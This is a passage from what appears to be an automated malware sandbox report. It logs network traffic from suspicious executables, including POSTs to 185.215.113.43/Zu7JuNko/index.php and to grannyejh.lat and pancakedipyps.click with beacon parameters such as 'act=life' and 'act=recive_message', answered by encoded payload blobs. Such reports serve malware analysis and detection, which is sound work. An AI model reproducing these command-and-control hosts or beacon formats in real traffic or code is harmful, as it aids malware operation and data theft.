Dec 18, 2024 11:09:57.762070894 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 33 32 41 37 34 42 36 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB32A74B65D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 18, 2024 11:09:59.105633974 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:09:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49895	172.67.179.109	443	340	C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 10:09:18 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-18 10:09:18 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 10:09:26 UTC	1033	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 10:09:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6lthhmid8mahsejfls528vkmbu; expires=Sun, 13-Apr-2025 03:55:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d980jGcmvk4lG7pKa4UDWLBa%2FqpL57pvAk36sohZFDQnZvzhcnp4UJHlcE8xJraVEXTcxwnolm9L%2BsBeP%2B%2Fqa7iPpTND4wmhYK%2BlAiApl6L7PXKgdzvEaNVThN5HNT8R"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3e5b4e3b365e72-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2131&min_rtt=2124&rtt_var=812&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=904&delivery_rate=1335773&cwnd=193&unsent_bytes=0&cid=ffe1ba65882f7cb4&ts=7574&x=0"
2024-12-18 10:09:26 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 10:09:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49913	104.21.23.76	443	4196	C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 10:09:24 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: pancakedipyps.click
2024-12-18 10:09:24 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 10:09:29 UTC	1043	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 10:09:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v1h4cbnotfu4k487v90fd719r1; expires=Sun, 13-Apr-2025 03:56:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vwmLD0riqqAtAl31hE7N90ovKhKftMGqZuwqzLgWw4SvBGh%2BbmEaBXnb2Q%2F%2FkmCU9gGoz8zmLYKNyl%2FYX%2F8KGWDo1MSOs7ZJMeOMWWvv8hFDgupWxUmjE9tpxb3BJJ7iDDpuo%2FT9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3e5b7478e94234-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1863&min_rtt=1858&rtt_var=700&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=910&delivery_rate=1571582&cwnd=171&unsent_bytes=0&cid=b822422941862f34&ts=4671&x=0"
2024-12-18 10:09:29 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 10:09:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49919	172.67.179.109	443	340	C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 10:09:27 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: grannyejh.lat
2024-12-18 10:09:27 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--6989783370&j=
2024-12-18 10:09:41 UTC	1032	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 10:09:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cdu0tjrrc329tc6s6ull4q5sce; expires=Sun, 13-Apr-2025 03:56:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2EpR1%2FKZsy095w2KED%2F1i1yeUsdTG1DIAYaffrSFPwPYG5wW%2Bn0azGTYqecJsG6vA4pLCHbAmOCCaGRNAIggRIQDPDmhit1WOIQEdGA0x%2FUc4txj1Mkw7LAGJprDRkQE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3e5b853a418cec-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1818&min_rtt=1818&rtt_var=683&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=949&delivery_rate=1601755&cwnd=209&unsent_bytes=0&cid=8bdc7538d8b6ba40&ts=13627&x=0"
2024-12-18 10:09:41 UTC	337	IN	Data Raw: 31 64 32 30 0d 0a 67 77 47 5a 39 56 6e 52 32 31 4d 6f 52 66 52 71 79 43 38 67 32 69 36 2f 62 66 46 32 56 46 67 31 78 45 53 6e 33 4b 4a 72 4e 57 2f 34 49 2b 2f 58 59 2b 58 33 63 56 73 67 31 6c 43 38 58 56 57 2f 41 70 30 4d 6c 56 52 75 50 6c 53 6f 4e 38 4c 77 67 42 31 59 54 62 6c 6e 2b 4a 6b 71 74 50 64 78 54 54 33 57 55 4a 4e 55 41 72 39 41 6e 56 66 54 45 7a 34 36 56 4b 67 6d 78 72 66 4e 47 31 6b 4d 36 32 33 2b 6e 54 79 79 76 7a 4a 45 4b 4a 45 50 72 55 35 4b 74 45 66 53 42 5a 78 55 65 48 70 51 76 6d 61 64 2f 75 38 4f 51 51 37 4f 59 4f 71 65 65 36 7a 33 4b 41 6f 67 6d 6b 6a 79 44 55 47 2f 54 4e 4d 4c 6c 52 30 38 4d 46 32 67 4a 38 4f 32 30 67 4a 54 42 2b 74 6a 2f 5a 77 32 75 36 73 2f 54 69 2b 61 43 61 64 4f 41 76 59 4d 32 68 66 54 54 48 5a 70 5a 61 55 33 31 Data Ascii: 1d20gwGZ9VnR21MoRfRqyC8g2i6/bfF2VFg1xESn3KJrNW/4I+/XY+X3cVsg1lC8XVW/Ap0MlVRuPlSoN8LwgB1YTbln+JkqtPdxTT3WUJNUAr9AnVfTEz46VKgmxrfNG1kM623+nTyyvzJEKJEPrU5KtEfSBZxUeHpQvmad/u8OQQ7OYOqee6z3KAogmkjyDUG/TNMLlR08MF2gJ8O20gJTB+tj/Zw2u6s/Ti+aCadOAvYM2hfTTHZpZaU31
2024-12-18 10:09:41 UTC	1369	IN	Data Raw: 6d 4f 59 75 6e 67 41 35 62 54 62 6b 6a 2f 5a 6b 36 76 72 6b 6a 51 69 79 64 44 62 68 47 53 37 56 42 33 51 4b 5a 47 7a 55 36 55 4b 77 73 79 72 54 45 42 46 6f 4c 34 57 4f 37 32 58 75 30 6f 58 45 53 5a 37 55 4e 75 6b 70 4f 72 67 37 6e 54 34 78 61 4c 33 70 51 71 6d 61 64 2f 73 67 4d 56 41 37 71 62 50 69 66 4d 4b 47 35 49 30 77 71 6b 78 71 73 53 45 79 79 54 38 38 46 6e 52 49 31 4d 31 79 76 49 38 4b 36 67 45 63 58 43 76 6b 6a 6f 39 63 61 76 72 49 39 51 44 43 57 53 4c 55 44 57 2f 68 4c 30 55 2f 4c 56 44 49 37 55 36 63 69 79 37 44 45 42 56 45 44 37 47 7a 39 6e 54 75 30 73 7a 6c 43 4a 70 73 44 70 55 31 48 74 55 6a 62 41 35 49 52 64 6e 51 58 6f 54 36 46 35 6f 41 6e 55 41 37 7a 49 63 36 55 4e 62 32 2b 4a 77 6f 34 32 42 48 71 53 6b 37 34 46 4a 30 42 6c 68 73 6b 4f 30 Data Ascii: mOYungA5bTbkj/Zk6vrkjQiydDbhGS7VB3QKZGzU6UKwsyrTEBFoL4WO72Xu0oXESZ7UNukpOrg7nT4xaL3pQqmad/sgMVA7qbPifMKG5I0wqkxqsSEyyT88FnRI1M1yvI8K6gEcXCvkjo9cavrI9QDCWSLUDW/hL0U/LVDI7U6ciy7DEBVED7Gz9nTu0szlCJpsDpU1HtUjbA5IRdnQXoT6F5oAnUA7zIc6UNb2+Jwo42BHqSk74FJ0BlhskO0
2024-12-18 10:09:41 UTC	1369	IN	Data Raw: 2f 70 68 4a 5a 68 72 71 49 63 36 55 4e 62 32 2b 4a 77 6f 34 32 42 48 71 53 6b 37 34 46 4a 30 43 6d 78 45 7a 4e 56 61 73 4b 4d 43 30 7a 41 46 5a 44 76 4e 73 2f 35 63 33 75 37 4d 38 52 43 4f 65 41 61 46 47 52 4c 68 4e 31 30 2f 64 56 44 45 69 46 2f 35 6d 38 62 6e 4d 42 46 68 50 31 47 44 31 6d 54 79 6c 2b 53 34 45 50 74 59 50 70 67 30 61 2b 45 44 55 44 35 67 65 4d 6a 70 51 71 79 50 47 75 63 4d 45 55 41 66 76 5a 50 2b 62 4d 72 36 2f 4d 55 30 6a 6b 78 71 76 52 45 36 30 44 4a 4e 50 6c 41 78 32 59 68 65 4a 49 64 4f 39 37 77 70 47 42 4b 46 38 74 59 35 37 74 4c 56 78 45 6d 65 52 44 61 4a 47 52 4c 42 4d 7a 77 71 64 48 7a 63 77 55 61 63 72 79 62 6a 41 43 46 63 4c 37 57 50 38 6b 43 6d 68 76 44 64 59 4c 64 5a 47 36 6b 70 61 2b 42 53 64 4f 59 4d 44 4a 79 77 56 6b 79 58 Data Ascii: /phJZhrqIc6UNb2+Jwo42BHqSk74FJ0CmxEzNVasKMC0zAFZDvNs/5c3u7M8RCOeAaFGRLhN10/dVDEiF/5m8bnMBFhP1GD1mTyl+S4EPtYPpg0a+EDUD5geMjpQqyPGucMEUAfvZP+bMr6/MU0jkxqvRE60DJNPlAx2YheJIdO97wpGBKF8tY57tLVxEmeRDaJGRLBMzwqdHzcwUacrybjACFcL7WP8kCmhvDdYLdZG6kpa+BSdOYMDJywVkyX
2024-12-18 10:09:41 UTC	1369	IN	Data Raw: 6c 67 4a 37 32 58 39 6d 6a 36 38 73 79 4e 43 4b 5a 73 44 70 55 5a 51 75 45 48 5a 41 35 63 63 50 54 41 58 36 47 62 43 70 6f 42 52 46 7a 6a 73 62 50 75 55 4c 66 4f 6d 66 31 4e 6e 6b 51 54 71 46 51 4b 30 51 74 30 41 6e 78 67 39 4d 6c 61 71 4b 4d 4b 37 79 51 46 66 48 2b 42 6e 38 35 59 31 76 4c 67 31 54 79 4b 53 44 36 35 4c 54 66 67 43 6e 51 69 4c 56 47 35 36 65 49 45 54 68 35 2f 36 53 55 68 44 2b 43 50 38 6d 33 76 72 2b 54 31 4a 4b 35 34 48 72 45 52 4f 73 6b 58 57 41 35 67 51 4f 6a 4e 53 6f 43 66 41 75 38 45 4e 57 77 66 6e 59 50 69 59 4e 4c 79 78 63 51 52 6e 6b 52 44 71 46 51 4b 64 57 39 59 42 6c 56 51 70 64 45 37 6d 49 63 6e 2b 6d 45 6c 62 42 4f 64 6c 2f 70 73 36 74 62 45 30 51 69 4f 58 44 71 78 4f 54 62 78 4a 33 41 43 58 47 44 67 77 56 71 63 71 7a 72 48 4c Data Ascii: lgJ72X9mj68syNCKZsDpUZQuEHZA5ccPTAX6GbCpoBRFzjsbPuULfOmf1NnkQTqFQK0Qt0Anxg9MlaqKMK7yQFfH+Bn85Y1vLg1TyKSD65LTfgCnQiLVG56eIETh5/6SUhD+CP8m3vr+T1JK54HrEROskXWA5gQOjNSoCfAu8ENWwfnYPiYNLyxcQRnkRDqFQKdW9YBlVQpdE7mIcn+mElbBOdl/ps6tbE0QiOXDqxOTbxJ3ACXGDgwVqcqzrHL
2024-12-18 10:09:41 UTC	1369	IN	Data Raw: 5a 76 2f 5a 67 39 73 72 77 37 52 69 43 54 41 36 56 42 41 76 59 4d 32 68 66 54 54 48 59 55 58 4c 55 78 78 72 44 4c 48 30 78 4e 2f 69 33 69 31 7a 79 2f 2b 57 6b 4b 4a 4a 30 44 72 6b 31 4f 75 45 6a 51 44 34 45 62 4d 54 31 65 72 54 54 50 75 63 63 43 58 77 62 75 5a 65 6d 62 4e 61 47 38 49 31 68 6e 32 45 69 74 56 51 4c 67 44 4f 73 49 67 77 51 31 65 47 61 77 4a 64 4f 31 7a 51 55 58 45 71 39 36 75 35 41 33 38 2b 46 78 54 43 69 66 43 36 56 4d 53 37 52 42 32 41 61 57 46 54 41 2b 58 61 77 6d 77 37 6a 42 44 46 30 4f 34 47 6e 79 6b 44 4f 30 75 69 4d 4b 61 64 59 50 73 67 30 61 2b 47 58 61 48 5a 30 45 64 69 55 5a 76 32 62 43 73 6f 42 52 46 77 6e 72 62 50 2b 51 4e 37 57 38 4e 30 63 6d 6d 51 6d 71 51 6b 61 7a 52 64 73 4f 6e 68 45 37 50 6b 57 73 4c 63 71 79 79 51 56 61 54 Data Ascii: Zv/Zg9srw7RiCTA6VBAvYM2hfTTHYUXLUxxrDLH0xN/i3i1zy/+WkKJJ0Drk1OuEjQD4EbMT1erTTPuccCXwbuZembNaG8I1hn2EitVQLgDOsIgwQ1eGawJdO1zQUXEq96u5A38+FxTCifC6VMS7RB2AaWFTA+Xawmw7jBDF0O4GnykDO0uiMKadYPsg0a+GXaHZ0EdiUZv2bCsoBRFwnrbP+QN7W8N0cmmQmqQkazRdsOnhE7PkWsLcqyyQVaT
2024-12-18 10:09:41 UTC	1369	IN	Data Raw: 55 4e 4c 43 72 4d 45 77 31 6c 67 57 67 58 30 69 7a 53 64 41 43 6e 68 63 77 50 46 79 71 4e 4d 79 2b 77 77 49 58 51 36 46 6b 34 39 64 6a 38 35 6f 6d 58 43 32 52 42 4c 78 47 51 37 74 61 30 42 2f 54 57 6e 59 72 55 4c 64 6d 6e 61 6a 51 48 6c 41 53 72 33 71 37 6b 44 66 7a 34 58 46 4d 4c 70 41 50 72 45 4e 51 76 55 72 53 41 4a 6f 64 4d 6a 4a 55 70 69 4c 42 75 63 55 4b 57 77 62 6d 59 50 53 54 4d 72 32 77 50 67 70 70 31 67 2b 79 44 52 72 34 62 63 59 4d 6e 78 6c 32 4a 52 6d 2f 5a 73 4b 79 67 46 45 58 41 65 39 6d 2b 35 30 39 74 37 77 33 51 43 4b 57 41 36 6c 43 52 72 35 49 30 67 2b 59 48 54 63 38 55 71 77 74 77 37 50 44 44 31 46 4e 72 79 50 38 6a 33 76 72 2b 52 46 52 4b 70 6f 50 36 6c 49 4d 6f 51 7a 61 41 39 4e 4d 64 6a 46 62 6f 69 48 46 73 38 4d 42 55 67 6e 72 5a 76 Data Ascii: UNLCrMEw1lgWgX0izSdACnhcwPFyqNMy+wwIXQ6Fk49dj85omXC2RBLxGQ7ta0B/TWnYrULdmnajQHlASr3q7kDfz4XFMLpAPrENQvUrSAJodMjJUpiLBucUKWwbmYPSTMr2wPgpp1g+yDRr4bcYMnxl2JRm/ZsKygFEXAe9m+509t7w3QCKWA6lCRr5I0g+YHTc8Uqwtw7PDD1FNryP8j3vr+RFRKpoP6lIMoQzaA9NMdjFboiHFs8MBUgnrZv
2024-12-18 10:09:41 UTC	282	IN	Data Raw: 71 44 67 4b 61 64 59 50 76 41 30 61 2b 48 4b 64 48 5a 41 45 4e 54 56 47 6d 47 61 64 70 2f 35 4a 58 42 76 6d 63 2f 69 42 4d 4c 36 31 49 48 52 6e 7a 6c 7a 34 48 78 44 71 48 73 4a 50 6a 43 74 34 65 6c 62 6d 66 76 79 6e 67 42 38 58 56 62 4d 74 75 34 56 37 36 2f 6c 32 53 54 57 45 44 71 6c 62 51 66 39 79 34 79 69 46 48 6a 45 71 55 4c 45 70 68 66 43 41 42 68 64 56 32 43 50 79 6b 43 43 69 72 7a 78 61 49 4e 59 33 35 41 31 61 2b 42 53 64 4f 70 41 61 4f 44 31 42 74 32 76 69 71 4d 6f 4f 52 77 72 32 62 4c 76 5a 65 37 58 35 61 52 6c 70 31 67 79 37 44 52 72 6f 48 6f 5a 61 77 45 4e 6d 61 45 6a 6f 50 34 57 6f 67 46 45 46 51 36 46 78 75 38 39 37 39 4c 6f 6a 57 43 47 56 48 71 6b 4b 66 49 5a 72 78 77 4b 56 41 79 63 45 61 61 45 38 79 4c 6a 58 47 42 73 59 34 6d 33 31 6b 43 33 Data Ascii: qDgKadYPvA0a+HKdHZAENTVGmGadp/5JXBvmc/iBML61IHRnzlz4HxDqHsJPjCt4elbmfvyngB8XVbMtu4V76/l2STWEDqlbQf9y4yiFHjEqULEphfCABhdV2CPykCCirzxaINY35A1a+BSdOpAaOD1Bt2viqMoORwr2bLvZe7X5aRlp1gy7DRroHoZawENmaEjoP4WogFEFQ6Fxu8979LojWCGVHqkKfIZrxwKVAycEaaE8yLjXGBsY4m31kC3
2024-12-18 10:09:41 UTC	1369	IN	Data Raw: 32 62 66 63 0d 0a 71 43 6a 43 71 4e 46 45 63 42 66 73 5a 65 79 47 65 2f 33 35 4e 77 70 2f 78 6b 62 71 53 56 50 34 46 49 31 64 79 45 46 6c 62 51 66 30 4f 59 75 6e 67 42 38 58 56 62 4d 74 75 34 56 37 36 2f 6c 32 53 54 57 45 44 71 6c 62 51 66 39 79 34 79 47 55 45 6a 4d 39 52 2b 51 49 7a 71 72 48 53 52 6c 4e 37 69 4f 6a 72 6e 76 37 2b 51 34 45 5a 34 35 49 38 67 31 33 75 30 4c 54 43 49 55 46 65 78 52 51 6f 43 50 43 72 6f 49 6e 58 42 6e 6d 49 37 58 58 50 66 50 68 59 51 52 6e 6b 68 6e 71 46 52 4c 71 46 34 68 63 78 45 52 6b 4a 52 6d 2f 5a 74 50 2b 6d 46 73 5a 54 66 4d 6a 6f 39 64 38 73 4b 73 6a 54 43 53 41 43 2b 31 7a 66 4c 74 61 30 41 43 59 46 51 67 45 65 61 73 6e 78 72 43 43 4f 45 45 41 38 57 44 2b 6b 41 57 4e 74 7a 5a 65 49 4a 67 4f 71 67 30 4d 2b 45 4f 64 56 Data Ascii: 2bfcqCjCqNFEcBfsZeyGe/35Nwp/xkbqSVP4FI1dyEFlbQf0OYungB8XVbMtu4V76/l2STWEDqlbQf9y4yGUEjM9R+QIzqrHSRlN7iOjrnv7+Q4EZ45I8g13u0LTCIUFexRQoCPCroInXBnmI7XXPfPhYQRnkhnqFRLqF4hcxERkJRm/ZtP+mFsZTfMjo9d8sKsjTCSAC+1zfLta0ACYFQgEeasnxrCCOEEA8WD+kAWNtzZeIJgOqg0M+EOdV
2024-12-18 10:09:41 UTC	1369	IN	Data Raw: 2b 52 75 5a 2b 6c 65 79 62 58 41 52 61 73 54 48 6b 32 53 4c 7a 72 33 45 53 64 64 68 49 75 41 30 61 2b 41 76 65 48 59 45 53 4e 53 78 55 34 52 6a 37 6d 63 34 4f 56 68 76 78 62 76 65 32 4f 4b 4b 7a 44 33 51 79 6c 51 61 6b 53 6c 53 70 44 4a 4e 50 6e 46 52 75 41 78 66 75 5a 76 72 77 67 42 45 58 56 61 46 57 2b 4a 6b 31 74 4b 38 67 42 77 43 59 44 36 74 62 55 72 56 41 2f 41 79 43 48 6e 5a 30 46 36 42 6d 6e 65 79 4f 53 56 4d 63 6f 54 75 72 78 57 44 6d 36 6d 59 61 64 59 6c 47 73 77 31 55 2b 42 53 50 51 64 4d 47 64 6d 49 58 34 53 58 58 72 4d 59 4b 51 51 36 6d 58 63 57 79 4c 4c 43 70 4e 30 6b 5a 71 43 4f 6d 53 30 57 69 53 39 73 70 73 31 52 34 65 6c 6a 6d 66 76 7a 2b 69 45 6c 6f 51 36 46 37 75 38 39 37 68 72 6f 2f 52 43 43 41 47 65 64 6f 56 62 74 63 32 77 7a 54 57 6e Data Ascii: +RuZ+leybXARasTHk2SLzr3ESddhIuA0a+AveHYESNSxU4Rj7mc4OVhvxbve2OKKzD3QylQakSlSpDJNPnFRuAxfuZvrwgBEXVaFW+Jk1tK8gBwCYD6tbUrVA/AyCHnZ0F6BmneyOSVMcoTurxWDm6mYadYlGsw1U+BSPQdMGdmIX4SXXrMYKQQ6mXcWyLLCpN0kZqCOmS0WiS9sps1R4eljmfvz+iEloQ6F7u897hro/RCCAGedoVbtc2wzTWn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49929	104.21.23.76	443	4196	C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 10:09:30 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 46 Host: pancakedipyps.click
2024-12-18 10:09:30 UTC	46	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=FATE99--test&j=
2024-12-18 10:09:44 UTC	1040	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 10:09:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cedmggrqoogdbqgfu0e9601938; expires=Sun, 13-Apr-2025 03:56:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aw%2FHIjyMgElEk2yfskoFChCh6VKva1JASSf44X%2B5wUKrdTss0p1QK1L5puk3p19Y0l2YllHGVFBPU0eqAfESrg1F8p0XyXU63YQh%2BfP6HxejScjLRj3%2BB5uHoh2NnWiZyslzFR3E"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3e5b993b9e4379-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1709&min_rtt=1706&rtt_var=646&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=949&delivery_rate=1683967&cwnd=194&unsent_bytes=0&cid=b076f794e850a587&ts=13563&x=0"
2024-12-18 10:09:44 UTC	329	IN	Data Raw: 31 64 32 30 0d 0a 56 6a 73 37 43 65 33 4d 58 46 36 6d 69 58 43 36 47 54 76 66 58 6e 78 49 65 6c 31 4a 77 63 6d 59 6c 31 6e 67 52 4c 45 4f 76 32 41 74 47 55 30 72 31 2f 68 77 66 4e 58 73 55 6f 42 74 53 61 6f 37 55 47 6f 62 4f 57 76 37 72 2f 6e 37 4b 6f 56 6f 6b 33 6a 53 51 6d 78 64 57 6d 57 65 71 58 42 38 77 2f 46 53 67 45 4a 41 2f 54 73 53 61 6b 42 2f 4c 4b 75 72 2b 66 73 37 67 53 2f 65 66 74 4d 44 50 6c 64 63 59 59 69 76 4f 44 2f 4b 35 42 58 66 66 46 71 31 4d 42 55 6c 45 6a 42 72 37 65 76 39 37 58 76 61 5a 76 78 72 79 77 45 62 57 6b 68 69 7a 37 46 77 4a 59 54 73 48 70 67 6a 47 62 34 37 48 69 51 63 4f 53 4b 70 6f 66 44 7a 4f 6f 51 75 77 57 66 5a 43 44 35 5a 58 32 43 43 70 69 77 79 77 4f 4d 65 32 58 5a 61 2f 58 4a 65 4c 51 42 2f 63 2b 50 34 79 50 59 71 6b Data Ascii: 1d20Vjs7Ce3MXF6miXC6GTvfXnxIel1JwcmYl1ngRLEOv2AtGU0r1/hwfNXsUoBtSao7UGobOWv7r/n7KoVok3jSQmxdWmWeqXB8w/FSgEJA/TsSakB/LKur+fs7gS/eftMDPldcYYivOD/K5BXffFq1MBUlEjBr7ev97XvaZvxrywEbWkhiz7FwJYTsHpgjGb47HiQcOSKpofDzOoQuwWfZCD5ZX2CCpiwywOMe2XZa/XJeLQB/c+P4yPYqk
2024-12-18 10:09:44 UTC	1369	IN	Data Raw: 49 50 43 69 33 70 75 75 31 4a 4d 77 2f 6b 32 76 52 51 6d 77 5a 58 32 57 4f 6f 7a 34 75 7a 4f 41 5a 33 57 6c 53 74 44 45 54 4b 68 55 31 4a 4b 43 72 2f 66 38 78 6a 53 7a 58 59 64 41 45 4e 46 6b 5a 4a 63 2b 70 4a 6e 79 63 71 7a 48 64 61 31 36 78 4b 6c 77 51 57 43 42 6c 75 75 76 39 2b 58 76 61 5a 74 74 70 33 67 45 2f 56 6c 70 6a 68 4c 77 2b 4c 73 4c 6d 46 38 70 39 58 4c 4d 32 48 54 67 53 4d 53 32 67 6f 76 48 38 50 6f 55 69 6b 79 4b 64 42 53 77 5a 41 53 75 75 6f 7a 55 77 7a 76 77 53 6d 47 51 58 70 48 77 5a 4a 6c 68 6e 61 36 65 71 2f 76 51 2f 6a 43 6a 58 59 4e 73 4d 4f 56 5a 66 59 59 2b 70 4e 44 54 4d 36 68 2f 54 64 46 6d 34 4d 52 6f 73 46 44 34 75 34 2b 57 36 38 69 50 43 66 70 4e 43 32 67 45 6d 47 32 78 6f 67 61 41 35 4b 6f 54 30 58 4d 45 37 58 72 46 38 52 6d Data Ascii: IPCi3puu1JMw/k2vRQmwZX2WOoz4uzOAZ3WlStDETKhU1JKCr/f8xjSzXYdAENFkZJc+pJnycqzHda16xKlwQWCBluuv9+XvaZttp3gE/VlpjhLw+LsLmF8p9XLM2HTgSMS2govH8PoUikyKdBSwZASuuozUwzvwSmGQXpHwZJlhna6eq/vQ/jCjXYNsMOVZfYY+pNDTM6h/TdFm4MRosFD4u4+W68iPCfpNC2gEmG2xogaA5KoT0XME7XrF8Rm
